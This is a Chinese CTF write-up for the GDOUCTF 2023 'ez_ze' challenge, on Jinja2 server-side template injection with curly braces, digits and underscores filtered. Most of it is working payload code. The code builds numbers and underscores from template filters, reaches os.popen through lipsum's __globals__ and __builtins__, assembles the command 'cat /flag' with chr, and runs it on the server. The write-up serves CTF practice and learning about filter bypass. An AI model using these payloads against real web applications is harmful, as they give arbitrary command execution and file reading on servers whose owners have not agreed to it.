[GDOUCTF 2023]＜ez_ze＞ SSTI 过滤数字 大括号{等

SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过（ctfshow web入门370）-CSDN博客

ssti板块注入

正好不会 {%%}的内容 学习一下

经过测试 发现过滤了 {{}}

那么我们就开始吧

我们可以通过这个语句来查询是否存在ssti

{%if 条件%}result{%endif%}解释一下 如果条件里为真 就输出 result 否则不输出修改一下
{%if not a%}yes{%endif%}第二种{%print 123%}通过输出123来判断

 

存在咯

这里跟着师傅的wp走 他那边过滤了数字 我们也来看看

获取数字

{%set one=dict(c=a)|join|count%}{%set two=dict(cc=a)|join|count%}{%set three=dict(ccc=a)|join|count%}

这里就可以获取数字

但是这道题不需要

然后我们首先确定一下我们需要的payload

(lipsum|attr("__globals__").get("os").popen("cat /flag").read()

 

这个时候我们需要获取_通过lipsum|string|list

这个时候可以通过 pop方法

 获取_

先需要获取pop

pop方法可以根据索引值来删除列中的某个元素并将该元素返回值返回。

{%set pop=dict(pop=a)|join%}

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)%}{%print xiahuaxian%}然后我们数 可以发现 _ 在24 所以我们索引即可{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}{%print xiahuaxian%}

 

成功获取

然后获取golbals

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print globals%}

获取os

首先需要获取get

{%set get=dict(get=a)|join%}{%print get%}

然后

然后我们可以获取os

{%set shell=dict(o=a,s=b)|join%}{%print shell%}

获取popen

{%set popen=dict(pop=a,en=b)|join%}{%print popen%}

过滤了 改名字就可以了

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%print lipsum|attr(globals)|attr(get)(shell)|attr(pp)%}

成功获取咯

获取chr

首先要获取__builtins__

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%print builtins%}

获取chr

{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%print char%}

成功

然后就是通过char拼接命令

?name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set%20get=dict(get=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%print command%}

然后就是获取read

获取read

name={%set read=dict(read=a)|join%}{%print read%}

最后就是拼接执行命令

name={%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set pop=dict(pop=a)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set pp=dict(po=a,pen=b)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
{%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%}
{%set read=dict(read=a)|join%}{%print (lipsum|attr(globals))|attr(get)(shell)|attr(pp)(command)|attr(read)()%}

确实学到了 但是这个太麻烦了 这个是很极端的我们这道题没有过滤这么多

正常来

{% set pop=dict(pop=1)|join %}   {% set kong=(lipsum|string|list)|attr(pop)(9) %}{% set xhx=(lipsum|string|list)|attr(pop)(18) %}{% set re=(config|string|list)|attr(pop)(239) %}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}{% set geti=(xhx,xhx,dict(get=a,item=b)|join,xhx,xhx)|join %}{% set o=dict(o=a,s=b)|join %}{% set po=dict(pop=a,en=b)|join %}{% set cmd=(dict(cat=a)|join,kong,re,dict(flag=a)|join)|join %}{% set read=dict(read=a)|join %}{% print(lipsum|attr(globals)|attr(geti)(o)|attr(po)(cmd)|attr(read)()) %}这里原型是lipsum.__globals__.getitem[os].popen(cat flag).read()类似于这种

 真是一个恐怖的ssti